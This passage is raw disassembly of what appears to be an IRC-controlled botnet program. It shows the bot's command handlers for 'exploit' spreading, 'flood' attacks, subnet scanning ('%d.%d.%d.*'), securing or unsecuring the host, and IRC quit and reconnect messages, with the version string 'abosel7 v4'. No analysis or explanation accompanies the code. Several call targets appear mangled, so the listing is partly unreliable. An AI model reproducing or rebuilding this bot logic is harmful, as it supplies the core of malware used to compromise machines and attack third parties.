		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_403FCB
		push	offset unk_42BC08
		jmp	loc_409601
; ---------------------------------------------------------------------------


loc_403FCB:				; CODE XREF: sub_401ACD+24F2j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_419C64
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403FEA
		push	offset unk_42BBE0
		jmp	loc_409601
; ---------------------------------------------------------------------------


loc_403FEA:				; CODE XREF: sub_401ACD+2511j
		push	offset unk_42BBC0
		jmp	loc_409601
; ---------------------------------------------------------------------------


loc_403FF4:				; CODE XREF: sub_401ACD+18CFj
					; sub_401ACD+18E4j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A7CE
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_40400D:				; CODE XREF: sub_401ACD+18A5j
					; sub_401ACD+18BAj
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416C28
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_40402A:				; CODE XREF: sub_401ACD+187Bj
					; sub_401ACD+1890j
		or	edi, 0FFFFFFFFh
		call	near ptr 26807BDh
		nop
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_404053
		push	esi
		call	sub_41B779
		pop	ecx
		mov	edi, eax


loc_404053:				; CODE XREF: sub_401ACD+257Bj
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_40406C
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409854


loc_40406C:				; CODE XREF: sub_401ACD+2594j
		push	ebx
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BBA8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC


loc_4040AA:				; CODE XREF: sub_401ACD+529Cj
		add	esp, 24h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_4040B2:				; CODE XREF: sub_401ACD+1851j
					; sub_401ACD+1866j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415A2F
		add	esp, 0Ch
		push	offset dword_42BB88
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_4040D0:				; CODE XREF: sub_401ACD+1827j
					; sub_401ACD+183Cj
		push	27h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_404104
		cmp	[ebp+var_8], ebx
		jnz	loc_401E94
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BB68
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72


loc_4040FC:				; CODE XREF: sub_401ACD+7237j
		add	esp, 14h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_404104:				; CODE XREF: sub_401ACD+260Dj
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_AA0], eax
		mov	[ebp+var_AA8], ebx
		jz	short loc_404165
		push	esi
		push	offset aFull	; "full"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404165
		mov	[ebp+var_AA8], 1


loc_404165:				; CODE XREF: sub_401ACD+267Bj
					; sub_401ACD+268Cj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB44
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	27h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_4198EB
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4041D3


loc_4041BD:				; CODE XREF: sub_401ACD+2704j
		cmp	[ebp+var_A9C], ebx
		jnz	loc_409630
		push	32h
		nop
		call	near ptr 2660F2Bh
		jmp	short loc_4041BD
; ---------------------------------------------------------------------------


loc_4041D3:				; CODE XREF: sub_401ACD+26EEj
		call	near ptr 26709FBh
		nop
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BB08
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_409630
; ---------------------------------------------------------------------------


loc_4041F3:				; CODE XREF: sub_401ACD+17FDj
					; sub_401ACD+1812j
		cmp	[ebp+var_8], ebx
		jnz	short loc_404212
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42BAEC
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_404212:				; CODE XREF: sub_401ACD+2729j
		push	[ebp+arg_4]
		call	dword_4CB00C
		call	dword_4CAECC
		call	sub_418359
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_40422D:				; CODE XREF: sub_401ACD+17D3j
					; sub_401ACD+17E8j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AA42
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42BAD0
		jmp	short loc_404285
; ---------------------------------------------------------------------------


loc_404258:				; CODE XREF: sub_401ACD+17A9j
					; sub_401ACD+17BEj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF6
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42BAB4


loc_404285:				; CODE XREF: sub_401ACD+24E3j
					; sub_401ACD+2789j
		call	sub_4151AC
		add	esp, 18h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_404292:				; CODE XREF: sub_401ACD+177Fj
					; sub_401ACD+1794j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41524C
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_4042AB:				; CODE XREF: sub_401ACD+1755j
					; sub_401ACD+176Aj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1594],	bl
		jz	short loc_4042EA
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4042EA
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4042EA
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_1594]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 10h


loc_4042EA:				; CODE XREF: sub_401ACD+27E7j
					; sub_401ACD+27F2j ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_1614]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1618],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1510],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_150C],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BA9C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	25h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_1514],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1618]
		push	ebx
		push	eax
		push	offset byte_41528D
		push	ebx
		push	ebx
		call	near ptr 2670000h
		nop
		mov	ecx, [ebp+var_1514]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40438D


loc_404377:				; CODE XREF: sub_401ACD+28BEj
		cmp	[ebp+var_1508],	ebx
		jnz	loc_401E94
		push	32h
		call	near ptr 2660F2Bh
		nop
		jmp	short loc_404377
; ---------------------------------------------------------------------------


loc_40438D:				; CODE XREF: sub_401ACD+28A8j
		call	near ptr 26709FBh
		nop
		push	eax
		push	offset unk_42BA64
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_40439E:				; CODE XREF: sub_401ACD+172Bj
					; sub_401ACD+1740j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415134
		push	offset dword_42BA4C
		call	sub_4151AC


loc_4043B9:				; CODE XREF: sub_401ACD+2453j
		add	esp, 10h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_4043C1:				; CODE XREF: sub_401ACD+1701j
					; sub_401ACD+1716j
		push	[ebp+var_88]
		lea	eax, [ebp+var_BC4]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		jz	short loc_40441B
		push	offset dword_42BA48
		push	esi
		call	sub_41C070
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_B40], eax
		jmp	short loc_404421
; ---------------------------------------------------------------------------


loc_40441B:				; CODE XREF: sub_401ACD+2932j
		mov	[ebp+var_B40], ebx


loc_404421:				; CODE XREF: sub_401ACD+294Cj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BA28
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	28h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset byte_40B161
		push	ebx
		push	ebx
		call	near ptr 2670000h
		nop
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40448F


loc_404479:				; CODE XREF: sub_401ACD+29C0j
		cmp	[ebp+var_B34], ebx
		jnz	loc_406CFF
		push	32h
		nop
		call	near ptr 2660F2Bh
		jmp	short loc_404479
; ---------------------------------------------------------------------------


loc_40448F:				; CODE XREF: sub_401ACD+29AAj
		call	near ptr 26709FBh
		nop
		push	eax
		push	offset unk_42B9EC
		jmp	loc_409226
; ---------------------------------------------------------------------------


loc_4044A0:				; CODE XREF: sub_401ACD+1685j
					; sub_401ACD+169Aj
		push	offset aDark	; "Dark"
		push	offset dword_42B9D4


loc_4044AA:				; CODE XREF: sub_401ACD+2A1Cj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		jmp	loc_406CFF
; ---------------------------------------------------------------------------


loc_4044D7:				; CODE XREF: sub_401ACD+165Bj
					; sub_401ACD+1670j
		push	dword_4CACB4
		call	sub_41A88B
		pop	ecx
		push	eax
		push	offset unk_42B9A8
		jmp	short loc_4044AA
; ---------------------------------------------------------------------------


loc_4044EB:				; CODE XREF: sub_401ACD+1631j
					; sub_401ACD+1646j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40451D
		cmp	[ebp+var_C], ebx
		jz	short loc_40452C
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40452C
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		jmp	short loc_40452C
; ---------------------------------------------------------------------------


loc_40451D:				; CODE XREF: sub_401ACD+2A27j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		pop	ecx


loc_40452C:				; CODE XREF: sub_401ACD+2A2Cj
					; sub_401ACD+2A3Bj ...
		push	0FFFFFFFEh
		jmp	loc_401E96
; ---------------------------------------------------------------------------


loc_404533:				; CODE XREF: sub_401ACD+1607j
					; sub_401ACD+161Cj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_42B958
		call	sub_4151AC
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_404555:				; CODE XREF: sub_401ACD+15DDj
					; sub_401ACD+15F2j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_42B924
		call	sub_4151AC
		add	esp, 0Ch
		jmp	loc_4097B9
; ---------------------------------------------------------------------------


loc_404574:				; CODE XREF: sub_401ACD+15B3j
					; sub_401ACD+15C8j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B7DA
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_40458A:				; CODE XREF: sub_401ACD+1589j
					; sub_401ACD+159Ej
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B785
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_4045A0:				; CODE XREF: sub_401ACD+155Fj
					; sub_401ACD+1574j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B719
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_4045B6:				; CODE XREF: sub_401ACD+1535j
					; sub_401ACD+154Aj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B64A
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_4045CC:				; CODE XREF: sub_401ACD+1490j
					; sub_401ACD+14A5j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_42B914
		push	offset dword_42B904
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_4045E4:				; CODE XREF: sub_401ACD+1466j
					; sub_401ACD+147Bj
		push	[ebp+esi+var_8C]
		push	24h
		push	offset dword_42B8F8
		push	offset dword_42B8E8
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_4045FC:				; CODE XREF: sub_401ACD+1082j
					; sub_401ACD+1097j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_40461B
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_40461B
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404620
; ---------------------------------------------------------------------------


loc_40461B:				; CODE XREF: sub_401ACD+2B38j
					; sub_401ACD+2B43j
		mov	eax, dword_429074


loc_404620:				; CODE XREF: sub_401ACD+2B4Cj
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_404645
		push	esi


loc_404632:				; CODE XREF: sub_401ACD+2B87j
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40465C
; ---------------------------------------------------------------------------


loc_404645:				; CODE XREF: sub_401ACD+2B62j
		cmp	[ebp+var_8FF], bl
		jz	short loc_404656
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_404632
; ---------------------------------------------------------------------------


loc_404656:				; CODE XREF: sub_401ACD+2B7Ej
		mov	[ebp+var_5A0], bl


loc_40465C:				; CODE XREF: sub_401ACD+2B76j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_41B980
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B8C0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	19h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset byte_4111CD
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40470D


loc_4046F7:				; CODE XREF: sub_401ACD+2C3Ej
		cmp	[ebp+var_57C], ebx
		jnz	loc_401E94
		push	32h
		call	near ptr 2660F2Bh
		nop
		jmp	short loc_4046F7
; ---------------------------------------------------------------------------


loc_40470D:				; CODE XREF: sub_401ACD+2C28j
		call	near ptr 26709FBh
		nop
		push	eax
		push	offset dword_42B884
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_40471E:				; CODE XREF: sub_401ACD+1018j
					; sub_401ACD+102Dj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40473E
		push	esi
		call	sub_41B779
		test	ax, ax
		pop	ecx
		jz	short loc_40473E
		push	esi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404744
; ---------------------------------------------------------------------------


loc_40473E:				; CODE XREF: sub_401ACD+2C5Aj
					; sub_401ACD+2C66j
		mov	ax, word_429084


loc_404744:				; CODE XREF: sub_401ACD+2C6Fj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_41B980
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B858
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_409A72
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	6
		push	eax
		call	sub_40B0F6
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset byte_40E503
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_404813


loc_4047FD:				; CODE XREF: sub_401ACD+2D44j
		cmp	[ebp+var_968], ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 2660F2Bh
		jmp	short loc_4047FD
; ---------------------------------------------------------------------------


loc_404813:				; CODE XREF: sub_401ACD+2D2Ej
		call	near ptr 26709FBh
		nop
		push	eax
		push	offset unk_42B818
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_404824:				; CODE XREF: sub_401ACD+FC4j
					; sub_401ACD+FD9j ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40484C
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		mov	[ebp+var_A10], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404856


loc_40484C:				; CODE XREF: sub_401ACD+2D66j
		mov	[ebp+var_A10], 1


loc_404856:				; CODE XREF: sub_401ACD+2D7Dj
		push	[ebp+var_88]
		lea	eax, [ebp+var_A94]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_A10], ebx
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_A08], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40489D
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_40489D:				; CODE XREF: sub_401ACD+2DC9j
		push	eax
		push	offset dword_42B7E4
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	22h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_A14], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset sub_419E19
		push	ebx
		push	ebx
		call	near ptr 2670000h
		nop
		mov	ecx, [ebp+var_A14]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_404911


loc_4048FB:				; CODE XREF: sub_401ACD+2E42j
		cmp	[ebp+var_A04], ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2660F2Bh
		jmp	short loc_4048FB
; ---------------------------------------------------------------------------


loc_404911:				; CODE XREF: sub_401ACD+2E2Cj
		nop
		call	near ptr 26709FBh
		push	eax
		push	offset dword_42B7A8
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_404922:				; CODE XREF: sub_401ACD+F9Aj
					; sub_401ACD+FAFj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41A6AE


loc_404933:				; CODE XREF: sub_401ACD+2AB8j
					; sub_401ACD+2ACEj ...
		add	esp, 0Ch
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_40493B:				; CODE XREF: sub_401ACD+F70j
					; sub_401ACD+F85j
		push	offset unk_42B6F8
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_404945:				; CODE XREF: sub_401ACD+F46j
					; sub_401ACD+F5Bj
		push	offset aAbosel7V4 ; "abosel7 v4"
		push	offset dword_42B6E8
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_404954:				; CODE XREF: sub_401ACD+F1Cj
					; sub_401ACD+F31j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4049AE
		push	esi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		jl	short loc_4049A6
		cmp	eax, 3
		jge	short loc_4049A6
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40499E
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C9C4
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_40828B
; ---------------------------------------------------------------------------


loc_40499E:				; CODE XREF: sub_401ACD+2EB0j
		push	eax
		push	offset unk_42B6BC
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------


loc_4049A6:				; CODE XREF: sub_401ACD+2E9Bj
					; sub_401ACD+2EA0j
		push	eax
		push	offset unk_42B690
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------


loc_4049AE:				; CODE XREF: sub_401ACD+2E90j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_4049B3:				; CODE XREF: sub_401ACD+2F02j
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4049D6
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_4049B3
		jmp	loc_40828B
; ---------------------------------------------------------------------------


loc_4049D6:				; CODE XREF: sub_401ACD+2EF6j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42C9C4


loc_4049EB:				; CODE XREF: sub_401ACD+2152j
					; sub_401ACD+2ED7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		jmp	loc_408288
; ---------------------------------------------------------------------------


loc_4049FC:				; CODE XREF: sub_401ACD+EF2j
					; sub_401ACD+F07j
		push	[ebp+var_8C]
		push	offset dword_42C938
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4034A5
		call	sub_40B2BF
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_404A22:				; CODE XREF: sub_401ACD+1A11j
		push	offset aGet	; "get"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404AB0
		cmp	dword_4CE728, ebx
		jz	short loc_404A4A
		push	offset dword_4CE108


loc_404A40:				; CODE XREF: sub_401ACD+2FE1j
		push	offset unk_42B654
		jmp	loc_404AE0
; ---------------------------------------------------------------------------


loc_404A4A:				; CODE XREF: sub_401ACD+2F6Cj
		push	10h
		pop	eax
		mov	[ebp+var_2CC], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		call	near ptr 71AB157Eh
		nop
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E30]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_E30]
		push	eax
		jmp	short loc_404A40
; ---------------------------------------------------------------------------


loc_404AB0:				; CODE XREF: sub_401ACD+2F64j
		push	esi
		call	dword_4CAFB4
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_404AC4
		push	offset unk_42B614
		jmp	short loc_404AE0
; ---------------------------------------------------------------------------


loc_404AC4:				; CODE XREF: sub_401ACD+2FEEj
		push	offset dword_4CE108
		call	sub_41BEB0
		pop	ecx
		mov	dword_4CE728, 1
		pop	ecx
		push	esi
		push	offset unk_42B5E8


loc_404AE0:				; CODE XREF: sub_401ACD+2F78j
					; sub_401ACD+2FF5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_4034FD
; ---------------------------------------------------------------------------


loc_404AF4:				; CODE XREF: sub_401ACD+19F9j
		push	edi
		push	offset aExploit	; "exploit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404BF7
		mov	eax, [ebp+var_4]
		mov	esi, offset aF	; "#f"
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E0],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F4],	eax
		mov	edi, 80h
		push	esi
		lea	eax, [ebp+var_1474]
		push	edi
		push	eax
		mov	[ebp+var_13EC],	1
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_14F4]
		push	esi
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	[ebp+arg_10]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B5B0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	8
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_13E8],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1504]
		push	ebx
		push	eax
		push	offset byte_40B8A1
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_13E8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_404BE6


loc_404BD0:				; CODE XREF: sub_401ACD+3117j
		cmp	[ebp+var_13DC],	ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2660F2Bh
		jmp	short loc_404BD0
; ---------------------------------------------------------------------------


loc_404BE6:				; CODE XREF: sub_401ACD+3101j
		call	near ptr 26709FBh
		nop
		push	eax
		push	offset unk_42B570
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_404BF7:				; CODE XREF: sub_401ACD+3036j
		push	edi
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C0
		push	edi
		push	offset aRin	; "rin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C0
		push	edi
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409778
		push	edi
		push	offset aRinms	; "rinms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409778
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_41C070
		mov	edi, dword_427078
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057DE
		nop
		call	near ptr 26807BDh
		push	eax
		call	sub_41B8D8
		push	[ebp+arg_10]
